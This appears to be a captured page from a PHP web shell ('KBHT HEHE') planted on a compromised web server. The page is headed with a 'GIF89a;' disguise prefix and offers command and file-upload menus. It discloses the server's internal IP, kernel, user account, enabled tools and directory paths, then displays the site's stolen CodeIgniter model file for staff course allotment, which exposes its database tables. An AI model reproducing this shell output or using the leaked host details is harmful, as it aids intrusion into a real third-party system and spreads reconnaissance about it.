GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.141.38.5
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../jnclnmu/../cas/application/models/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../jnclnmu/../cas/application/models/admin/AllotmentManagement.php
<?php

/**
 * Model class for hanlding all DB operations related to allotment of courses and other stuffs
 *
 * @author Softpro India Pvt. Ltd.
 */
class AllotmentManagement extends CI_Model {

    function createNewCourseAllotment(array $newCourseAllotmentInfo) {
        $this->db->insert_batch('staff_course_allot', $newCourseAllotmentInfo);
        return $this->db->insert_id();
    }

    function getAllCourseAllotment($smember_id = '') {
        $this->db->select("*,TSM.smember_id allottedUserId,"
                . "CONCAT(TPRFL.tprfl_firstname,' ',TPRFL.tprfl_lastname) allottedUser,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin");
        $this->db->from('staff_course_allot SCA');
        $this->db->join('tbl_staff_members TSM', "SCA.smember_id = TSM.smember_id");
        $this->db->join('tbl_profile TPRFL', 'TSM.smember_id = TPRFL.tprfl_id');
        $this->db->join('tbl_logindetails TLD', 'TSM.tld_id = TLD.tld_id');
        $this->db->join('tbl_designation_master TDM', 'TPRFL.desig_id = TDM.desig_id');
        $this->db->join('tbl_sub_departments_master TSUBDEPTM', 'TLD.sub_dept_id = TSUBDEPTM.sub_dept_id');
        $this->db->join('tbl_department_master TDEPTM', 'TSUBDEPTM.dept_id = TDEPTM.dept_id');
        $this->db->join('tbl_course_master TCM', 'SCA.course_id = TCM.course_id');
        $this->db->join('tbl_staff_members TSMA', "SCA.sca_assigned_by = TSMA.smember_id");
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        if ($smember_id != '') {
            $this->db->where("SCA.smember_id", $smember_id);
        }
        $this->db->order_by("SCA.sca_assigned_on", "desc");
        return $this->db->get();
    }

    function getCourseAllotmentInfoBy($smember_id, $course = '') {
        $this->db->select("*,"
                . "CONCAT(TPRFL.tprfl_firstname,' ',TPRFL.tprfl_lastname) allottedUser,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin");
        $this->db->from('staff_course_allot SCA');
        $this->db->join('tbl_staff_members TSM', "SCA.smember_id = TSM.smember_id");
        $this->db->join('tbl_profile TPRFL', 'TSM.smember_id = TPRFL.tprfl_id');
        $this->db->join('tbl_staff_members TSMA', "SCA.sca_assigned_by = TSMA.smember_id");
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->where("SCA.smember_id", $smember_id);
        if ($course != '') {
            $this->db->where("SCA.course_id", $course);
        }
        return $this->db->get();
    }

    function deleteCourseAllotmentInfoBy($sca_id) {
        $this->db->where("sca_id", $sca_id);
        $this->db->delete('staff_course_allot');
    }

}

KBHT - 2023